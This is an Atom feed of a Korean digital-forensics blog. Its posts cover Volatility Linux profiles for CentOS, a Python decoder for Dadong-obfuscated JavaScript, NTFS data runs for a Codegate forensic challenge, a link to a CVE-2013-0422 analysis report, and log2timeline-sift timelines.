<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-53199605500372722</id><updated>2024-08-30T06:46:10.058+09:00</updated><category term="volatility"/><category term="linux memory forensic"/><category term="memory forensics"/><category term="포렌식"/><category term="Attribute header"/><category term="CVE-2013-0422"/><category term="CentOS"/><category term="CheckGod"/><category term="Cluster runs"/><category term="Dadong JSXX 0.44 VIP"/><category term="Data runs"/><category term="GET$HELL"/><category term="MBeanInstantiator"/><category term="MFT"/><category term="Non-resident flag"/><category term="auto_append_file"/><category term="auto_prepend_file"/><category term="dadong"/><category term="dadong decode"/><category term="dadong decoder"/><category term="dadong decoding tool"/><category term="deobfuscation"/><category term="forensics"/><category term="godoff"/><category term="godon"/><category term="godup"/><category term="httpd"/><category term="java 0day"/><category term="log2timeline"/><category term="log2timeline-sift"/><category term="memory"/><category term="php.ini"/><category term="runlist"/><category term="supertimeline"/><category term="timeline"/><category term="volatility linux profile"/><category term="난독화 해제"/><category term="다동 난독화"/><category term="악성스크립트"/><title type='text'>malwareL4B</title><subtitle type='html'>more digging... ;-)</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>9</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-1421548517578633824</id><published>2013-07-30T15:28:00.001+09:00</published><updated>2013-07-30T15:29:44.387+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="linux memory forensic"/><category scheme="http://www.blogger.com/atom/ns#" term="volatility"/><category scheme="http://www.blogger.com/atom/ns#" term="volatility linux profile"/><title type='text'>Volatility Linux Profile - CentOS</title><content type='html'>&lt;br /&gt;
작년 9월에 Volatility에서 사용할 &lt;a href=&quot;http://malwarel4b.blogspot.kr/2012/09/volatility-22-rc2-linux-profile.html&quot; target=&quot;_blank&quot;&gt;리눅스 프로파일을 만드는 방법&lt;/a&gt;에 대해서 포스팅한 후 한참을 삽질만 하다가&lt;br /&gt;
귀찮아서 관둘까 하는 찰나에 Volatility에서 조만간 &lt;a href=&quot;https://code.google.com/p/volatility/wiki/LinuxProfiles&quot; target=&quot;_blank&quot;&gt;리눅스용 프로파일&lt;/a&gt;을 만들어서 공개하겠다...라고 해서 기대하고 있었는데&lt;br /&gt;
국내 환경에서 가장 많이 사용되는 CentOS는 6.3버전의 64비트 버전 꼴랑 하나만 있더군요..&lt;br /&gt;
국내 환경은 CentOS 5.8이 제일 많은데 말이죠..&lt;br /&gt;
그들이 만들지 않은 이유가 있지 않을까 생각되면서도 언제까지 기다리고만 있을 순 없어서&lt;br /&gt;
삽질의 삽질의 닭질을 거듭 반복한 결과 CentOS 5.7 ~ 6.3까지 프로파일을 만들었습니다. ;-)&lt;br /&gt;
&lt;br /&gt;
프로파일 만드는 방법은 &lt;a href=&quot;http://malwarel4b.blogspot.kr/2012/09/volatility-22-rc2-linux-profile.html&quot; target=&quot;_blank&quot;&gt;여기&lt;/a&gt;를 참조하시면 되고&lt;br /&gt;
프로파일을 만들기 위해 필요한 필수 패키지는 다음과 같습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;kernel-devel&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;kernel-headers&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;elfutils&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;elfutils-devel&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
커널 패키지는 현재 설치된 커널과 동일한 패키지를 설치하셔야 하며 &lt;a href=&quot;http://rpm.pbone.net/&quot; target=&quot;_blank&quot;&gt;여기&lt;/a&gt;서 검색해서 사용하시면 됩니다. 배포판이 다르더라도 버전만 맞으면 됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5SrO98fCvnKcid3ykwdBIsKsDRoGTe-7g3uIeeqrt_Oc0AGxX0A9UISFWsMK-vXTgxJiWUIQYQZ8gP3pkiH4WS4z0OH0QwvbzwJjmqYdmtGCCLTOe16bPs3YN3loILJAHNEBZobCFlw/s1600/vol_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5SrO98fCvnKcid3ykwdBIsKsDRoGTe-7g3uIeeqrt_Oc0AGxX0A9UISFWsMK-vXTgxJiWUIQYQZ8gP3pkiH4WS4z0OH0QwvbzwJjmqYdmtGCCLTOe16bPs3YN3loILJAHNEBZobCFlw/s640/vol_01.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
CentOS는 yum으로 업그레이드를 하면 각각 마지막 배포판 버전(5.9, 6.3)으로 업그레이드 됩니다.&lt;br /&gt;
만약 분석할 메모리의 커널 버전이 만들어둔 프로파일의 커널 버전과 일치하지 않을 경우 새롭게 만들어주셔야 합니다.&lt;br /&gt;
&lt;br /&gt;
프로파일은 module.dwarf 파일과 System.map 파일이 필요합니다.&lt;br /&gt;
System.map 파일은 조사 대상 서버에서 추출해서 사용하면 되고&lt;br /&gt;
module.dwarf 파일은 조사 대상 서버에서 컴파일해서 사용하는게 가장 정확하겠지만&lt;br /&gt;
패치버전(2.6.18)까지만 맞으면 정상적으로 동작했었습니다. (RHEL에서 테스트)&lt;br /&gt;
&lt;br /&gt;
위 목록 중 RHEL5의 경우 디폴트는 2.6.18-8.el5 버전이었고 조사 대상은 2.6.18-164.el5PAE 버전이었는데&lt;br /&gt;
조사 대상 서버에서는 System.map 파일만 추출해서 가져오고 module.dwarf는 vmware에 설치한 RHEL5에서 컴파일해서 사용했습니다.&lt;br /&gt;
즉, 프로파일을 만들기를 원하는 운영체제와 커널 버전이 있다면 직접 설치해서 module.dwarf 파일을 만들어서 가지고 있으면 됩니다.&lt;br /&gt;
각각의 패치버전에 대한 프로파일까지 만들고 싶었지만 yum으로 업데이트하면 가장 최신으로만 업데이트가 되기 때문에&lt;br /&gt;
중간중간에 있었던 커널 버전에 대한 프로파일을 만들려면.......(상상이 가시나요? ㅜ.ㅜ)&lt;br /&gt;
&lt;br /&gt;
리눅스 서버의 경우 커널 업데이트를 잘 하지 않기 때문에&lt;br /&gt;
각 배포판별로 디폴트 커널에 대한 프로파일만 가지고 있어도 무난할 것으로 보입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
프로파일은 계속해서 필요할 때마다 만들어 나갈 예정입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://drive.google.com/folderview?id=0BwzSDSFKiUkiYmFORjY4NEIzX1k&amp;amp;usp=sharing&quot; target=&quot;_blank&quot;&gt;Volatility Linux Profile Download&lt;/a&gt;&amp;nbsp;by demantos&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
프로파일 사용에 있어서 문제가 있으시면 언제든지 demantos@gmail.com 으로 메일 보내주시면 감사하겠습니다~!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/1421548517578633824/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2013/07/volatility-linux-profile-centos.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/1421548517578633824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/1421548517578633824'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2013/07/volatility-linux-profile-centos.html' title='Volatility Linux Profile - CentOS'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5SrO98fCvnKcid3ykwdBIsKsDRoGTe-7g3uIeeqrt_Oc0AGxX0A9UISFWsMK-vXTgxJiWUIQYQZ8gP3pkiH4WS4z0OH0QwvbzwJjmqYdmtGCCLTOe16bPs3YN3loILJAHNEBZobCFlw/s72-c/vol_01.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-3425873675108996962</id><published>2013-06-25T16:16:00.001+09:00</published><updated>2013-06-26T11:40:13.289+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dadong"/><category scheme="http://www.blogger.com/atom/ns#" term="dadong decode"/><category scheme="http://www.blogger.com/atom/ns#" term="dadong decoder"/><category scheme="http://www.blogger.com/atom/ns#" term="dadong decoding tool"/><category scheme="http://www.blogger.com/atom/ns#" term="Dadong JSXX 0.44 VIP"/><category scheme="http://www.blogger.com/atom/ns#" term="deobfuscation"/><category scheme="http://www.blogger.com/atom/ns#" term="난독화 해제"/><category scheme="http://www.blogger.com/atom/ns#" term="다동 난독화"/><title type='text'>Dadong’s JSXX 0.44 VIP DeObfuscation Code</title><content type='html'>&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
공다팩이나 다동이나 Gondad에 대한 용어는 다들 잘 아실꺼라 생각하고 생략하겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
올해 코드게이트에서도 툴 시연이 있었고 &lt;a href=&quot;http://www.codegate.org/renew/_file/board/dr_4692194.pdf&quot; target=&quot;_blank&quot;&gt;발표자료&lt;/a&gt;도 공개되어 있습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
그리고 dadong으로 난독화되어 있는 코드에 대한 분석글들은 인터넷에 있으니 찾아보시고 참고하시면 되겠습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
그나마 지금까지 보아 왔던 분석글들은 중간중간 특정 내용에 대한 설명이 빠져 있어서 이해하는데 좀 애매하게 되어 있었는데요&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://kwangguevara.blogspot.kr/2013/04/dadongs-jsxx-044-vip-part-1.html&quot; target=&quot;_blank&quot;&gt;Kwang Guevara&lt;/a&gt;님 블로그 보니 설명이 잘되어 있었습니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
매번 난독화된 코드와 난독화 해제하는 함수, 키값을 찾아서 수정해주고 브라우저에 여러서 확인하는게 귀찮아서 파이썬으로 작성해보았습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifXhghymXP2mjS2NbJEKWMgTqKpWq_SZagpGh9euyV01_7Z8i3LSKOh0QNOnI5MdOFoQPWli8wtSOLU7ykVyOIt6ME8jGIzmY_TEqZkdKJSsZoigqi1fkfEVMzmMAJel_2hzfVUe7PaQ/s1600/ddeob.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;401&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifXhghymXP2mjS2NbJEKWMgTqKpWq_SZagpGh9euyV01_7Z8i3LSKOh0QNOnI5MdOFoQPWli8wtSOLU7ykVyOIt6ME8jGIzmY_TEqZkdKJSsZoigqi1fkfEVMzmMAJel_2hzfVUe7PaQ/s640/ddeob.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
코드가 허접해도 참아주시기 바랍니다. ;-)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;brush:python;&quot;&gt;#-*- coding: cp949 -*-

import sys
import re
from struct import *

key = &quot;&quot;
res_filename = &quot;&quot;
obfCode = &quot;&quot;
deobFunc = &quot;&quot;

def splitObfCode() :
 global obfCode
 global deobFunc
 global key
 
 obfList = []
 print &quot;[+] Extracing obfuscated code...&quot;
 with open(sys.argv[1], &#39;r&#39;) as ef:
  for x in ef.readlines():
   if re.search(&quot;eval.+?unescape.+?[=](\&#39;\&quot;)?[0-9A-Fa-f]&quot;, x):
    for s in range(len(x.split(&quot;\&quot;&quot;))):
     obfList.append(x.split(&quot;\&quot;&quot;)[s])
 print &quot;[+] Extracting deobfuscate function and find divide key&quot;
 for x in range(len(obfList)):
  if len(obfList[x]) &amp;gt;= 5000:
   obfCode = obfList[x]
  elif len(obfList[x]) &amp;gt;= 1000 and len(obfList[x]) &amp;lt;= 2000:
   deobFunc = obfList[x].replace(&#39;\\/&#39;, &#39;/&#39;).replace(&#39;\\\\&#39;, &#39;\\&#39;)
   buf = deobFunc.split(&quot;;&quot;)
   for s in range(len(buf)):
    if &quot;%=&quot; in buf[s]:
     key = int(buf[s].split(&quot;=&quot;)[1])
  else:
   pass

def letsgo(code, func, divkey) :
 a = &quot;&quot;
 b = 0
 c = 0
 d = &quot;&quot;
 
 print &quot;[+] Deobfuscate...&quot;
 for i in range(0,2):
  for t in range(len(func)):
   c = ((c&amp;amp;127)&amp;lt;&amp;lt;25) | ((c&amp;amp;4294967168)&amp;gt;&amp;gt;7) + ord(func[t])
   c = unpack(&quot;l&quot;, pack(&quot;L&quot;, c))[0]
  a+=&quot;1&quot;

 if c &amp;lt; 0:
  c = c &amp;amp; 0xffffffff
 
 qq = 1
 for t in range(0, len(code), 2):
  if t &amp;gt;= 8: # (1&amp;lt;&amp;lt;3)
   a = t % 8
  else:
   a = t
  b = int(hex(c)[a+2:a+4], 16)+qq
  qq+=1
  
  if re.match(&#39;^(\d{4})&#39;, str(b+744)):
   b = b % divkey
  d += chr((int((obfCode[t] + obfCode[t+1]), 16))^b)
 
 rf = open(&quot;%s&quot; % res_filename, &quot;w&quot;)
 rf.write(d)
 rf.close()

def main() :
 global res_filename
 if len(sys.argv) &amp;gt;= 2:
  splitObfCode()
  res_filename = sys.argv[1].split(&#39;.&#39;)[0]+&quot;_decode.txt&quot;
  letsgo(obfCode, deobFunc, key)
 else:
  print &quot;Usage: %s dadong_obfuscated_filename&quot; % sys.argv[0]

if __name__ == &quot;__main__&quot; :
 main()

&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/3425873675108996962/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2013/06/dadongs-jsxx-044-vip-deobfuscation-code.html#comment-form' title='2개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/3425873675108996962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/3425873675108996962'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2013/06/dadongs-jsxx-044-vip-deobfuscation-code.html' title='Dadong’s JSXX 0.44 VIP DeObfuscation Code'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifXhghymXP2mjS2NbJEKWMgTqKpWq_SZagpGh9euyV01_7Z8i3LSKOh0QNOnI5MdOFoQPWli8wtSOLU7ykVyOIt6ME8jGIzmY_TEqZkdKJSsZoigqi1fkfEVMzmMAJel_2hzfVUe7PaQ/s72-c/ddeob.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-4072275519203624042</id><published>2013-03-07T10:02:00.002+09:00</published><updated>2013-03-07T10:02:19.002+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Attribute header"/><category scheme="http://www.blogger.com/atom/ns#" term="Cluster runs"/><category scheme="http://www.blogger.com/atom/ns#" term="Data runs"/><category scheme="http://www.blogger.com/atom/ns#" term="MFT"/><category scheme="http://www.blogger.com/atom/ns#" term="Non-resident flag"/><category scheme="http://www.blogger.com/atom/ns#" term="runlist"/><title type='text'>Codegate Forensic 500 문제를 풀기 위해 알아두어야 할 개념</title><content type='html'>&lt;br /&gt;
지난주에 Codegate Prequal이 있었는데요..&lt;br /&gt;
Forensic 500번 문제가 VBR과 MFT Entry 정보를 통해 이미지 파일을 복구하는 문제였습니다.&lt;br /&gt;
어설픈 지식으로 인해 문제를 풀지는 못하였지만 이제라도 알게 되었으니 다행이라 생각되며&lt;br /&gt;
잊어버리지 않기 위해 기록해두었습니다.&lt;br /&gt;
&lt;br /&gt;
아래 이미지가 복구해야하는 문제의 그 이미지입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEMLwKF3aLZJP8tXecY57unpPMJQC3nirYIF3ECBoCw2tQ1u8FBBLu92a7dM0qWWnFSBLO5kIyGqN_KjuL-FBWXZsbOJvRD1l9ncol-cmLgk4IPZutO7GnIpWUh9ICCDiUJ4DGsch7BA/s1600/k3y2013.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEMLwKF3aLZJP8tXecY57unpPMJQC3nirYIF3ECBoCw2tQ1u8FBBLu92a7dM0qWWnFSBLO5kIyGqN_KjuL-FBWXZsbOJvRD1l9ncol-cmLgk4IPZutO7GnIpWUh9ICCDiUJ4DGsch7BA/s400/k3y2013.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
전체적으로 잘 서술된 내용은 링크를 걸어두겠습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://deok9.org/?p=290&quot; target=&quot;_blank&quot;&gt;Codegate 2013 Forensic 500 by Deok9&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
그림으로 그려봤습니다. ( 그림으로 그려야 이해가 잘되는 1人입니다. ;-) )&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN8jIjxyquF4dU0X6qtWQU2LnnFvut_o8i0Pn1Hjt7x0no5SmAG6DBMM4qFiEpIZQyZ0a7h-z5BpLcWa2I0uHCaXjL3obqtE_loCUMmQQPQ6u1234YQmYXFkp_oEjAXhHEJ5_Hq_6Pgw/s1600/MFT_Cluster_Runs.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN8jIjxyquF4dU0X6qtWQU2LnnFvut_o8i0Pn1Hjt7x0no5SmAG6DBMM4qFiEpIZQyZ0a7h-z5BpLcWa2I0uHCaXjL3obqtE_loCUMmQQPQ6u1234YQmYXFkp_oEjAXhHEJ5_Hq_6Pgw/s640/MFT_Cluster_Runs.jpg&quot; width=&quot;453&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
문제의 핵심은 속성의 내용이 너무 커서 MFT Entry에 다 포함시키지 못할 경우 추가적인 클러스터를 할당 받아 저장하는 방식인 Non-resident 속성에 대해서 알고 있냐 없냐 였습니다.&lt;br /&gt;
마지막 부분에 있는 22 3D 02 B7 06 22 DF 00 F3 28 22 78 01 56 E4 이 여러 군데 흩어져 있는 파일의 내용에 대한 길이와 오프셋을 나타내고 있습니다. (Cluster Runs 또는 Data Runs)&lt;br /&gt;
&lt;br /&gt;
foremost와 같은 툴을 이용해서 카빙을 하면 첫번째 런리스트에 있는 내용만 카빙이 되어 정상적인 이미지가 보이지 않으며 결국 이 분할된 데이터들을 합쳐서 정상적인 파일을 만드는 것이 문제의 목적이었습니다.&lt;br /&gt;
&lt;br /&gt;
Cluster Runs(Data Runs)에 대한 개념은 아래 링크에서 확인해보시면 잘 이해가 가실겁니다.&lt;br /&gt;
(thanks &lt;a href=&quot;http://deok9.org/&quot; target=&quot;_blank&quot;&gt;Deok9&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.reddragonfly.org/ntfs/concepts/data_runs.html&quot; target=&quot;_blank&quot;&gt;http://www.reddragonfly.org/ntfs/concepts/data_runs.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
추가적으로 참고할 사이트들입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.pc-3000flash.com/eng/help/help_information/ntfs/data_runs.htm&quot; target=&quot;_blank&quot;&gt;http://www.pc-3000flash.com/eng/help/help_information/ntfs/data_runs.htm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.writeblocked.org/resources/NTFS_CHEAT_SHEETS.pdf&quot; target=&quot;_blank&quot;&gt;http://www.writeblocked.org/resources/NTFS_CHEAT_SHEETS.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
굳이 CTF를 위한 지식이 아닌 포렌식 조사 과정에서 결정적인 증거자료가 될 수 있는 파일들이 분할되어 있을 경우 런리스트에 대한 개념이 잡혀 있다면 파일을 정상적으로 복구해낼 수 있을 것입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/4072275519203624042/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2013/03/codegate-forensic-500.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/4072275519203624042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/4072275519203624042'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2013/03/codegate-forensic-500.html' title='Codegate Forensic 500 문제를 풀기 위해 알아두어야 할 개념'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEMLwKF3aLZJP8tXecY57unpPMJQC3nirYIF3ECBoCw2tQ1u8FBBLu92a7dM0qWWnFSBLO5kIyGqN_KjuL-FBWXZsbOJvRD1l9ncol-cmLgk4IPZutO7GnIpWUh9ICCDiUJ4DGsch7BA/s72-c/k3y2013.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-5125724182273288897</id><published>2013-01-16T12:15:00.005+09:00</published><updated>2013-01-16T12:15:54.051+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CVE-2013-0422"/><category scheme="http://www.blogger.com/atom/ns#" term="java 0day"/><category scheme="http://www.blogger.com/atom/ns#" term="MBeanInstantiator"/><title type='text'>Java Applet JMX 0day Remote Code Execution 취약점(CVE-2013-0422) 분석보고서</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
2013년도 Impact 강한 취약점으로 시작하였습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0422&quot; target=&quot;_blank&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0422&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
늦은감이 있지만 작성한 분석보고서 공유합니다. (with &lt;a href=&quot;mailto:hyoub9un@gmail.com&quot; target=&quot;_blank&quot;&gt;hyoub9un&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/file/d/0BwzSDSFKiUkiai0yZnFZMzlwQmc/edit&quot; target=&quot;_blank&quot;&gt;https://docs.google.com/file/d/0BwzSDSFKiUkiai0yZnFZMzlwQmc/edit&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
잘못된 부분이나 추가할만한 내용 있으시면 메일이나 댓글로 주세요~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/5125724182273288897/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2013/01/java-applet-jmx-0day-remote-code.html#comment-form' title='1개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/5125724182273288897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/5125724182273288897'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2013/01/java-applet-jmx-0day-remote-code.html' title='Java Applet JMX 0day Remote Code Execution 취약점(CVE-2013-0422) 분석보고서'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-4449845327449597492</id><published>2012-11-29T11:05:00.003+09:00</published><updated>2012-11-30T12:14:44.397+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="log2timeline"/><category scheme="http://www.blogger.com/atom/ns#" term="log2timeline-sift"/><category scheme="http://www.blogger.com/atom/ns#" term="supertimeline"/><category scheme="http://www.blogger.com/atom/ns#" term="timeline"/><title type='text'>SuperTimeline using log2timeline-sift</title><content type='html'>&lt;br /&gt;
사고조사시 중요한 정보 중 하나가 바로 타임라인입니다.&lt;br /&gt;
다만, 시스템 여기저기에 흩어져 있는 정보들을 하나하나 수집하면서 타임라인을 작성하는 것은 상당히 귀찮으면서도 혼란스럽습니다. (경험상...)&lt;br /&gt;
타임라인 작성에는 &lt;a href=&quot;http://log2timeline.net/&quot; target=&quot;_blank&quot;&gt;log2timeline&lt;/a&gt;이라는 툴을 추천해드리며 본 포스팅에서는 &lt;a href=&quot;http://computer-forensics.sans.org/community/downloads&quot; target=&quot;_blank&quot;&gt;SANS SIFT&lt;/a&gt;에서 좀 더 보기 좋게(?) 수정한 log2timeline-sift를 소개해드릴까 합니다. 아울러 log2timeline-sift의 결과 파일을 가지고 분석을 위해 정렬을 하였는데 제가 원하는대로 정렬이 되지 않아 log2timeline-sift의 결과 파일을 수정하는 방법에 대해서 말씀드리고자 합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Digital Forensics SIFT&#39;ing: Cheating Timelines with log2timeline&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://computer-forensics.sans.org/blog/2011/12/16/digital-forensics-sifting-cheating-timelines-with-log2timeline&quot;&gt;http://computer-forensics.sans.org/blog/2011/12/16/digital-forensics-sifting-cheating-timelines-with-log2timeline&lt;/a&gt;&lt;br /&gt;
